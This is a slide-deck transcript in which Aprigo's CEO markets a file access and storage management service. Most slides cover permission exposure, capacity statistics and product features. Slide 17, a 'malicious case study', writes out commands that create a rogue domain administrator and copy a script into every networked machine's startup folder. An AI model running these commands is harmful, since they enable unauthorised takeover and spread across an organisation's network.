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Winning the war against data- Strategies to beat your arch nemesis: files - Gil Zimmerman, Aprigo

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Winning the war against data- Strategies to beat your arch nemesis: files - Gil Zimmerman, CEO and Co-Founder, Aprigo

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Winning the war against data- Strategies to beat your arch nemesis: files - Gil Zimmerman, Aprigo

  1. 1. TM Microsoft BizSpark Startup of the Day! Winning the war against data Strategies to beat your arch nemesis: files. Gil Zimmermann, CEO & Co-Founder
  2. 2. On-Premise & Cloud Data (read: files) Identify & Act Access and Storage Control
  3. 3. Attention: Your Data Hates You!
  4. 4. Aprigo IT Benchmark • SaaS offering • Over 1,000 companies using Aprigo • Over 750TBs under management • Exposure at 95% • Cost savings potential at 71% • Installs in under 5 minutes
  5. 5. Data Deluge is a Problem • Files exploding everywhere • 75-90% of all data is unstructured (files) • Valuable business asset • Touched by everyone • Vulnerable & exposed • Expensive to manage
  6. 6. IT Owns the Data Problem Data Deluge Data Users Compliance & Regulation Business Data Dependence = IT Budgets IT Headcount No Mid-Market Solutions ~ ∅ IT Fires Exposure Disruptio n Waste
  7. 7. Access Problem Math • ACLs allow 13 different rights to access an object • 12 practical combinations of ACE settings • Permissions can be granted or denied • 2^13*12 = 98,304 different access rights you can define • Can be applied to a user/group to form an ACE, unlimited number of ACEs can be combined into an ACL • Each file/folder can be attached to a different ACL • Millions of files, hundreds/thousands of users • Business needs to know who has access to what
  8. 8. Access Best Practices • Typical Exposure (95+%) • Everyone (66%) • Domain Users (45%) • Explicit Permissions (92%) • Don't over-organize your users, use inheritance • Rogue Users • Local Admins (99%) • Outsiders are a new threat on Google Docs (98%) • Talk in business terms (exposure, audit, risk, etc)
  9. 9. Access Use Cases • IT Audits • Help-Desk • Active Directory Migrations • IT GRC • Data Breaches • Data Forensics • Entitlement Reporting
  10. 10. Capacity Best Practices • Start with the obvious: • Untouched in 90 days (81%) • Media files (35%) vs. documents (16%) • Large files over 100MBs (49%) • Gets harder every time, so dig deeper • Orphaned files (by owner) • Small files that multiply • Talk in business terms ($/GB, overhead, etc.)
  11. 11. Capacity Use Cases • Disk Full • Data Center Consolidation • Data Migration • Storage Refresh • Backup/Replication Window Failure • Chargeback • Tiering
  12. 12. Storage Planning • Understanding the data composition • Capacity • Cost (primary & secondary) • Growth rate • Ownership • Data-intensive initiatives • Reclaim costs by better utilization
  13. 13. Google Docs Best Practices • Basic settings • Enable/disable sharing • Set up alerts for external sharing • Hope for the best... • Google Apps APIs
  14. 14. • Dashboard plugin • Discover new shares on your network • Network Share tab • Preliminary access view • Capacity utilization • Available on any network share • Find exposure & savings w/Aprigo NINJA Spiceworks Integration
  15. 15. Spiceworks Plug-in
  16. 16. Innocent Case Study • Bill the CFO owns the Finance share • ACMESRVFinanceSecrets contains some of the company’s most sensitive data • Bill and his group have access • ‘Domain Users’ is the default permission • All employees have access • Those with access can share...
  17. 17. Malicious Case Study • BUILTINAdministrators • 2 Line script to get to DOMAINAdministrators • net user /domain /add rogueuser roguepass • net group /domain "Domain Admins" /add rogueuser • 1 more line to total network access • for /F %%i in ('net view') do copy /Y %0 "%%ic$documents and settingsall usersstart menuprogramsstartup"
  18. 18. Aprigo’s Approach Data Dashboard Reports & Audits ! Alerts & Monitoring Aprigo Cloud Infrastructure Capacity Management Access Management gDocs Management Access Auditing Cost Calculator IT Benchmark Go-FIX ISV Apps Customer Integrations
  19. 19. Traditional Data Management LAN IT Environment Server NAS Appliances (NetApp / EMC) Windows File ServersActive Directory Metadata Collector UI Application Servers Analytics Servers Database Servers SAN Network Shares Web Services AgentsAgents AgentsAgents AgentsAgents
  20. 20. SaaS Data Management LAN IT Environment THE APRIGO SOLUTION (Single SIte) Aprigo Back-End (SAS70-II Data Center) Web Services Application Servers Analytics Servers Database Servers SAN Encrypted HTTPS Traffic NAS Appliances (NetApp / EMC) Windows File ServersActive Directory Metadata Collector NINJA / UI Network Shares
  21. 21. Data Dashboard
  22. 22. Capacity Management
  23. 23. Access Management
  24. 24. Access Auditing
  25. 25. IT Benchmarking
  26. 26. Google Docs Access
  27. 27. Q & A • Functionality • Technology • Plug-in • On-Premise vs. Cloud • Suggestions/Thoughts • etc...
  28. 28. ThankYou!
  29. 29. Customer Segments Education Financials Health IT ConsultantsTechOil
  30. 30. Commercial Landscape LowCost/Ease-of-use/Scalability Complete Solution / Functionality SaaS / Cloud Aprigo is the only SaaS solution. Running in minutes, globally. Risk & Governan ce Storage & Data Mgmt Homegrown Leaders Commodity

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